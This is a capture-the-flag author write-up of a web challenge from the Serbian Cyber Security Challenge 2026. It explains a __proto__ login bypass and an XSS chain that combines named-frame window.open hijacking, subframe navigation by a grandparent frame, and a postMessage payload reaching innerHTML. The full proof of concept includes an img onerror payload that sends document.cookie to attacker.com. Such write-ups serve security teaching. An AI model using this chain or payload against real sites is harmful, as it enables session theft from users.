Author Writeup (Intended) - The Matrix Revenge SCC2026 Web Challenge

The Matrix Revenge (Intended) Writeup

Twitter: @L3G4CY5

I created a web challenge for the Serbian Cyber Security Challenge 2026. Due to time constraints and lack of thorough playtesting, both the original and revenge versions ended up containing unintended flaws that significantly reduced the difficulty. (lets ignore that :D ). But obviously because of an easier way, nobody solved this challenge with an intended solution.

In this write-up, I will walk through the intended solution for the challenge.

The Matrix Revenge Description:

1
They have ddetected us quick1y last t1me, this time they fixed the existing vulnerabilities. Good luck solider. 

TLDR;

  • Use Iframe Hijacking trick to iframe a page and yet have a window.opener value.
  • Use grandparent trick to change subframe’s location to attacker-controled page and abuse the trusted postMessage communication channel.

Challenge Page

Short Overview

The first part of the challenge involved an authentication bypass. However, this was only part of the original version and not the revenge variant, and it is fairly trivial, so I will skip it.

TL;DR: using __proto__ as the username and [object Object] as the password in a user[username] == password comparison results in a truthy value, allowing authentication bypass.

After this step, the second flag is located in the bot’s cookie, which indicates that the challenge is centered around an XSS vulnerability.

Challenge

Looking at the routes we can find a few interesting ones:
This page seems like it acts as a health dashboard monitor for the page.
/api/report - Reports a url to the bot.
/dashboard

Dashboard
dashboard.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<iframe
id="monitor-frame"
src="/static/dashboard-monitor.html"
title="health monitor"
style="
...
"
></iframe>
<script>
(function () {
...

var hasOpener =
window.opener !== null && typeof window.opener !== "undefined";
if (!hasOpener) {
if (out) {
out.textContent =
"access denied: dashboard must be opened from the main console.";
}
if (statusEl) {
statusEl.textContent = "access denied.";
}
if (frame) {
frame.parentNode && frame.parentNode.removeChild(frame);
}
return;
}

...

if (!frame || !logEl) return;

window.addEventListener("message", function (e) {
if (!frame.contentWindow || e.source !== frame.contentWindow) return;
var data = e.data || {};
if (data.type !== "MONITOR_UPDATE") return;


...
var line = document.createElement("div");
var payload =
typeof data.message === "string"
? data.message
: "monitor heartbeat received.";
line.innerHTML = "&gt; " + payload;
logEl.appendChild(line);
});
})();
</script>

In short, the page receives postMessage “health” data from the iframe and inserts it into the DOM as output. We can see that it uses innerHTML to render this value — which immediately raises the question: can this lead to XSS? Yes, but a few additional steps are required.

We can also observe a check for window.opener, meaning the page must be opened via window.open in order for the content (or the iframe) to be initialized.

The iframe’s HTML simply sends some dummy/random data to the parent (in this case, the dashboard).

After that, there is an event listener handling incoming messages. It includes a validation check to ensure that the message originates from the iframe:

1
if (!frame.contentWindow || e.source !== frame.contentWindow) return;

At first glance, this appears to be secure code that only accepts messages from the intended iframe. And while that is technically true, if we can control what the iframe sends, we can achieve XSS via the innerHTML sink.

Fortunately, the Same-Origin Policy (SOP) allows a grandparent frame to navigate (change the location of) a nested subframe, even across origins. In this case, we can abuse this behavior to replace the iframe that is responsible for sending the postMessage.

We can do this with the following code:

1
frames[0].frames[0].location =  "//attacker.com"

This will redirect the nested iframe to attacker.com. So… do we have XSS now?

Well… not so fast.

If you try to iframe the /dashboard page directly, it will not load due to the window.opener check. This means we need a way to both set a valid window.opener and still have the page loaded inside an iframe.

We can achieve this by abusing how window.open works together with named frames. For example, we can use:

1
window.open("https://attacker.com/dashboard", "windowName")

Along with an iframe in our exploit like:

1
<iframe name="windowName" src="https://example.com"></iframe>

When this code executes, the browser will not open a new window. Instead, it will look for an existing window or iframe with the name "windowName". Since our iframe already has that name, the browser will reuse it and navigate it to https://attacker.com/dashboard.

Because of this behavior, the /dashboard page is now loaded inside an iframe, while still having a valid window.opener.

In this challenge, the bot uses a headless browser, so we can directly call window.open in our exploit. In a real-world scenario, this would require the victim to already have a page that calls something like:

1
window.open("/endpoint", "predictableName")

and we would need to prepare an iframe with that same name in advance.

Using this technique, we successfully bypass the window.opener check while still framing the /dashboard page.

From this point, achieving XSS becomes straightforward. We can simply send a malicious payload via postMessage, which will be inserted into the DOM using innerHTML.

The final exploit would look like following:

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
<iframe name="dashboard" src="https://example.com"></iframe> <!-- Preparing an iframe for the hijack -->

<script>

window.open('http://challenge.com/dashboard', 'dashboard'); // Opening /dashboard to bypass opener check and using iframe hijack trick


setTimeout(() => {
frames[0].frames[0].location = 'https://attacker.com/js'; // Subframe redirected to the attackers controled page
}, 12000)


</script>

And the attacker.com/js :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>dashboard postMessage XSS PoC</title>
</head>
<body>
<script>
window.parent.postMessage(
{
type: "MONITOR_UPDATE",
uptimeSeconds: 1337,
activeGhosts: 9,
reportQueue: 4,
status: "watching node metrics...",
message: '<img src=x onerror="fetch(\'https://attacker.com/test?cookie=\'+document.cookie)">',
},
"*",
);

console.log("PoC message sent");
</script>
</body>
</html>

Thanks for reading this and I hope you learned something new :) .


Author Writeup (Intended) - The Matrix Revenge SCC2026 Web Challenge
Author
Legasi
Licensed under